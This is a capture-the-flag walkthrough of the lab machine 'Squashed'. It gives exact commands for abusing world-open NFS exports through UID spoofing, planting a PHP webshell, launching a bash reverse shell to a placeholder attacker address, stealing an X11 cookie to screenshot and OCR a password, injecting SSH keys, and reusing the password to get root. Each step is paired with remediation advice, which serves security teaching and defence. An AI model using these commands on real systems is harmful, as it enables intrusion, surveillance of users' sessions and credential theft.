← all walkthroughs

Squashed

Linux· Easy
owned
2026-07-06
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered that the server ($TARGET) exported two live Network File System (NFS) shares — the Apache web root and an active user's home directory — to every machine on the internet with no host restriction. By creating local accounts whose numeric IDs matched the remote share owners, I mounted both shares and impersonated their owners without any password.

As the web-service account (UID 2017), a PHP backdoor was written directly into the web root over NFS; Apache immediately served it, giving unauthenticated remote code execution. As the home-directory owner (UID 1001), my read the X11 display-server authentication cookie from ross's NFS-exported home, injected it onto the target via the webshell, and silently captured a screenshot of ross's active desktop session — which showed a KeePassXC password-manager unlock dialog with the master password partially visible.

Iterative image cropping and OCR recovered the full password. I then injected an SSH public key into a second user's account through the writable web root, obtained an SSH shell, and reused the recovered password to switch to root — achieving full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNFS export enumeration (MITRE T1046 / T1135)
Discovered two NFS shares exported to all hosts on the internet
An nmap service scan revealed rpcbind (port 111) and NFS (port 2049) alongside Apache on port 80. The showmount utility confirmed that /var/www/html (the live Apache web root) and /home/ross (an active user's home directory) were both exported to the wildcard host '*', meaning any machine on the internet could mount and access them without a password or any form of authentication.
Showmount -e $TARGET returned /var/www/html * and /home/ross *; nmap NFS NSE scripts confirmed both exports accessible with no host restriction.
Exact commands 2
Service scan with NFS NSE scripts to enumerate exported paths and access rules.
nmap -Pn -sV -p22,80,111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $TARGET
Confirm which directory paths are exported and to which hosts; '*' means world-open.
showmount -e $TARGET
FixRestrict NFS exports to specific, authorised IP addresses onlyCritical
WeaknessBoth /var/www/html and /home/ross were exported to the wildcard host '*', allowing any machine on the internet to mount them without a password. This single misconfiguration was the entry point that made every subsequent step in the attack chain possible.
FixEdit /etc/exports and replace '*' with an explicit, minimal IP whitelist containing only hosts that have a documented operational need for NFS access (for example, a designated backup server). Add the 'root_squash' and 'all_squash' options to every export entry so that even whitelisted clients cannot escalate privileges by spoofing UIDs. Run 'exportfs -ra' and restart the NFS server to apply the new rules. If no external host legitimately requires NFS access to these paths, remove the export entries entirely — Apache does not need its web root to be shared over NFS.
2ExploitationNFS client UID impersonation (NFSv3 auth bypass)
Mounted both NFS shares by spoofing the remote owner UIDs
NFSv3 trusts the numeric user ID reported by the connecting client — it has no way to verify the caller's true identity. I created two local accounts on the attack machine: nfsweb (UID 2017, matching the web root owner) and nfsross (UID 1001, matching ross's home directory owner). Both shares were mounted locally, then accessed with 'sudo -u #uid' to operate as those UIDs, completely bypassing NFS file-permission checks and reading and writing exactly as the remote owners could.
Sudo -u '#2017' ls -lan /mnt/pt_squashed_www listed web-root contents; sudo -u '#1001' ls -lan /mnt/pt_squashed_ross listed ross's home directory including .Xauthority.
Exact commands 4
Mount the Apache web root export locally.
sudo mount -t nfs -o vers=3,nolock $TARGET:/var/www/html /mnt/pt_squashed_www
Mount ross's home directory export locally.
sudo mount -t nfs -o vers=3,nolock $TARGET:/home/ross /mnt/pt_squashed_ross
Create local accounts whose UIDs match the remote share owners so NFS accepts file operations.
sudo useradd -u 2017 -M -s /usr/sbin/nologin nfsweb 2>/dev/null; sudo useradd -u 1001 -M -s /usr/sbin/nologin nfsross 2>/dev/null
Verify read/write access to the web root as the impersonated UID 2017.
sudo -u '#2017' ls -lan /mnt/pt_squashed_www
3ExploitationRemote file write to deploy webshell (MITRE T1505.003)
Wrote a PHP webshell into the live web root via NFS
Operating as UID 2017 (the Apache web-service account owner), my wrote a one-line PHP command-execution backdoor directly into the NFS-mounted web root. Because Apache serves that same directory on port 80, the file was instantly accessible as a public URL — providing arbitrary OS command execution as the web service user, with no web-application login or exploit required.
Sudo -u '#2017' write of .c.php to /mnt/pt_squashed_www succeeded; file confirmed on disk with uid 2017 ownership; curl to /.c.php?cmd=id returned the web service user identity.
Exact commands 3
Write the PHP webshell as uid 2017; Apache serves it immediately.
sudo -u '#2017' sh -c 'printf "%s\n" "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /mnt/pt_squashed_www/.c.php'
Confirm the file landed with correct ownership.
sudo -u '#2017' ls -lan /mnt/pt_squashed_www/.c.php
Verify remote code execution — response should show the web service account name.
curl -s "http://$TARGET/.c.php?cmd=id"
FixRemove the web root from NFS and prevent executable file uploadsCritical
WeaknessThe /var/www/html NFS export was writable by the web-service account's UID (2017). Because NFSv3 trusts the UID reported by the client, any machine that mounted the share and created a local account with UID 2017 could write files — including PHP scripts — that Apache would immediately execute as the web service user.
FixRemove the /var/www/html entry from /etc/exports entirely — a live web server's document root must never be a writable network share. If a shared storage solution is operationally required, add the 'ro' (read-only) option and enforce 'all_squash' so no client UID is trusted. Additionally, configure Apache with Options -ExecCGI in the document root and disable PHP execution in any world-writable subdirectory via a .htaccess or server configuration directive.
4ExploitationWebshell command execution (MITRE T1059.004)
Executed arbitrary commands and captured the user flag
The webshell accepted OS commands via the 'cmd' HTTP parameter. I confirmed execution as the web service user, directly read the user flag from alex's home directory, and then established a full interactive reverse shell to support the remaining attack stages.
Curl to /.c.php?cmd=cat+/home/alex/user.txt returned the user flag; reverse shell on my port 4444 connected back successfully.
Exact commands 3
Read the user flag directly — returns <user.txt>.
curl -s "http://$TARGET/.c.php?cmd=cat+/home/alex/user.txt"
Start a listener on the attack machine before triggering the callback.
nc -lvnp 4444
Trigger a bash reverse shell; replace $ATTACKER_IP with my machine's IP address.
curl -s "http://$TARGET/.c.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/$ATTACKER_IP/4444+0%3E%261%27"
5Credential AccessX11 authentication cookie theft (MITRE T1212 — Exploitation for Credential Access)
Stole ross's X11 session cookie from the NFS-exported home directory
Ross had an active graphical desktop session running on the server. The .Xauthority file — a secret cryptographic cookie that grants any application the ability to display in, capture, or inject input into that session — was stored in ross's home directory. Because that directory was world-mountable over NFS, my read the cookie as UID 1001, encoded it, and injected it onto the target via the webshell, placing it at /tmp/.Xauthority.
.Xauthority present and readable via sudo -u '#1001' on the NFS-mounted /home/ross; file contents base64-encoded and transferred to /tmp/.Xauthority on target.
Exact commands 2
Read ross's X11 auth cookie from the NFS mount and encode it for transfer.
sudo -u '#1001' base64 -w0 /mnt/pt_squashed_ross/.Xauthority
Write the stolen cookie to the target via the webshell; replace <BASE64_COOKIE> with the encoded output from the previous step.
curl -s "http://$TARGET/.c.php?cmd=echo+<BASE64_COOKIE>+|+base64+-d+>+/tmp/.Xauthority"
FixStop exporting live user home directories over NFSHigh
Weaknessross's home directory was exported over NFS and accessible to any host that spoofed UID 1001. It contained the .Xauthority file — a session credential granting full control over the user's active graphical desktop — allowing an unauthorised user to silently capture the screen and read sensitive information, including a visible password in a password-manager dialog.
FixRemove /home/ross (and all other user home directories) from /etc/exports immediately. User home directories contain session tokens, browser credentials, SSH private keys, shell history, and application secrets that must never traverse a network file share. If roaming profiles are genuinely required, switch to Kerberos-authenticated NFSv4 (sec=krb5p) so that client identity is cryptographically verified rather than implicitly trusted, and exclude hidden credential files using fine-grained export paths rather than exporting the entire home tree.
6Credential AccessX11 screen capture for credential disclosure (MITRE T1113)
Captured a screenshot of ross's desktop and OCR'd the KeePassXC master password
With the X11 cookie in place, I used xwd (a standard X11 screen-dump utility present on the target) inside the webshell environment to silently take a full screenshot of ross's live desktop and save it to the web root for download. The image showed a KeePassXC password-manager unlock dialog with the master password partially visible in the input field. The screenshot was fetched, converted to PNG with ImageMagick, iteratively cropped around the password field, contrast-enhanced, and fed to Tesseract OCR — recovering the full master password: [REDACTED: recovered credential]
Shot.xwd downloaded from http://$TARGET/shot.xwd; KeePassXC password field visible after progressive crop/threshold; Tesseract output converged on [REDACTED: recovered credential] after iterative crop refinement.
Exact commands 4
Capture ross's full desktop via X11 and save to the web root for retrieval.
curl -s "http://$TARGET/.c.php?cmd=XAUTHORITY=/tmp/.Xauthority+DISPLAY=:0+xwd+-root+-silent+-out+/var/www/html/shot.xwd"
Download the captured screen dump to my machine.
curl -o shot.xwd http://$TARGET/shot.xwd
Convert the XWD format to PNG for processing.
convert shot.xwd shot.png
Crop around the KeePassXC password field, enlarge, and OCR; replace <GEOM> with the pixel region of the password input box; repeat with tighter crops until the password reads clearly.
convert shot.png -crop <GEOM> -resize 600% -colorspace Gray -normalize -threshold 50% crop.png && tesseract crop.png stdout
7Lateral MovementSSH authorized key injection (MITRE T1098.004)
Injected an SSH public key into alex's account via the webshell
The webshell ran as the web service account, which had write access to the web root and transitively to parts of the filesystem. I generated a new SSH key pair locally, then used the webshell to create alex's .ssh directory if absent and append my public key to alex's authorized_keys file — granting password-free SSH login as alex.
SSH private key /tmp/squashed_alex_key used in kill-chain commands to authenticate as alex; su to root subsequently succeeded from that session.
Exact commands 3
Generate a disposable keypair; the public key is planted on the target, the private key remains on the attack machine.
ssh-keygen -t rsa -b 4096 -f /tmp/squashed_alex_key -N ''
Append the public key to alex's authorized_keys via the webshell; replace <PUBLIC_KEY> with the contents of /tmp/squashed_alex_key.pub.
curl -s 'http://$TARGET/.c.php?cmd=mkdir+-p+/home/alex/.ssh+%26%26+echo+"<PUBLIC_KEY>"+>>+/home/alex/.ssh/authorized_keys+%26%26+chmod+600+/home/alex/.ssh/authorized_keys'
Log in as alex using the injected key — no password required.
ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGET
8Privilege EscalationCredential reuse against a privileged account (MITRE T1078)
Switched to root by reusing the OCR-recovered KeePassXC master password
The KeePassXC master password recovered from ross's desktop screenshot ([REDACTED: recovered credential]) was identical to the root account's password. From alex's SSH session, a single su - root command with that password yielded a root shell and unrestricted access to every file on the system, including the root flag.
Printf '[REDACTED: recovered credential]' | ssh -i /tmp/squashed_alex_key alex@$TARGET "su - root -c 'id; cat /root/root.txt'" — returned uid=0(root) and the root flag.
Exact commands 3
Enter alex's SSH session established in the previous step.
ssh -i /tmp/squashed_alex_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alex@$TARGET
From alex's shell on the target, switch to root using the OCR-recovered password.
printf '%s\n' "$PASSWORD" | su - root
Read the root flag — returns <root.txt>.
cat /root/root.txt
FixEnforce unique, randomly generated passwords for all privileged accountsCritical
WeaknessThe root account's password was identical to the KeePassXC database master password. Once the master password was recovered from a screen capture, an unauthorised user gained immediate root access without any further exploitation — a single captured credential compromised the entire system.
FixAssign the root account a long (20+ character), randomly generated password that is stored in a separate, offline credential store — never in the same password manager whose unlock screen is visible on a shared server desktop. Enforce password uniqueness across all privileged accounts using a PAM password-quality module such as pam_pwquality. As a stronger long-term control, disable password-based authentication for root entirely (PermitRootLogin no in sshd_config) and require SSH certificate-based login with a hardware token for all administrative access.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp
111/tcp
2049/tcp
33317/tcp
38161/tcp
40681/tcp
45661/tcp